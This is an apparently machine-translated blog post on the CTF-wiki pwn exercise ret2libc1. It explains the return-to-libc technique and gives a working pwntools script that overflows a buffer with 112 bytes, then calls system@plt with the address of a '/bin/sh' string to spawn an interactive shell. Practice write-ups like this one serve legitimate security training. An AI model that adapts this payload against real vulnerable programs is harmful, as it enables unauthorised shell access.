当前位置:网站首页>Learn PWN from CTF wiki - ret2libc1
Learn PWN from CTF wiki - ret2libc1
2022-07-05 23:49:00 【Big Ruida】
ret2libc
principle
perform libc Medium /bin/sh
step
First , Check the security protection of the program
Turn on NX:no executable
( Non executable memory data pages )
( Can not make use of ret2text And ret2shellcode)
secondly , Check if there is /bin/sh
Check if there is system (segment yes plt, No extern)
/bin/sh, Is a string , Need to know the address .
system, Is a callable function , Need to know the address .
use system call /bin/sh that will do
So write payload, Addressing mode can be viewed Previous blogs , A fellow 112.
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
call libc Format of function :
system_plt + 4 Bytes (32 Bit address ) + /bin/sh character string
Here we need to pay attention to the structure of the function call stack , If it is a normal call system function , When we call, there will be a corresponding return address , Here we use ’bbbb’ As a false address , The parameter content corresponding to the subsequent parameters .
This example is relatively simple , It also provides system Address and /bin/sh The address of , But most programs don't have such a good situation .
边栏推荐
- Tips for using pads router
- UVA11294-Wedding(2-SAT)
- Live tiktok shop 2022 latest gameplay card slot overseas live e-commerce new traffic
- [day39 literature extensive reading] a Bayesian perspective on magnetic estimation
- Différence entre hors bande et en bande
- 多普勒效应(多普勒频移)
- How to improve eloquence
- 【SQL】各主流数据库sql拓展语言(T-SQL 、 PL/SQL、PL/PGSQL)
- Zhongjun group launched electronic contracts to accelerate the digital development of real estate enterprises
- 做自媒体影视短视频剪辑号,在哪儿下载素材?
猜你喜欢
C reflection and type
Spire.PDF for NET 8.7.2
Go language introduction detailed tutorial (I): go language in the era
[day39 literature extensive reading] a Bayesian perspective on magnetic estimation
How to get all the values stored in localstorage
GFS Distributed File System
用列表初始化你的vector&&initializer_list简介
20.移植Freetype字体库
el-cascader的使用以及报错解决
Huawei simulator ENSP - hcip - MPLS experiment
随机推荐
STM32__06—单通道ADC
20220703 week race: number of people who know the secret - dynamic rules (problem solution)
How to enable relationship view in phpMyAdmin - how to enable relationship view in phpMyAdmin
Neural structured learning - Part 2: training with natural graphs
Qcombox (rewrite) + qcompleter (auto completion, auto loading the drop-down options of qcombox, setting the background color)
【LeetCode】5. Valid Palindrome·有效回文
C reflection and type
Open source CRM customer relationship system management system source code, free sharing
C# 反射与Type
STM32__ 06 - single channel ADC
Naoqi robot summary 26
My colleagues quietly told me that flying Book notification can still play like this
Problem solving win10 quickly open ipynb file
How to improve eloquence
GFS Distributed File System
Xinyuan & Lichuang EDA training camp - brushless motor drive
VBA fast switching sheet
orgchart. JS organization chart, presenting structural data in an elegant way
4点告诉你实时聊天与聊天机器人组合的优势
Why use weak pointers for delegation- Why use weak pointer for delegation?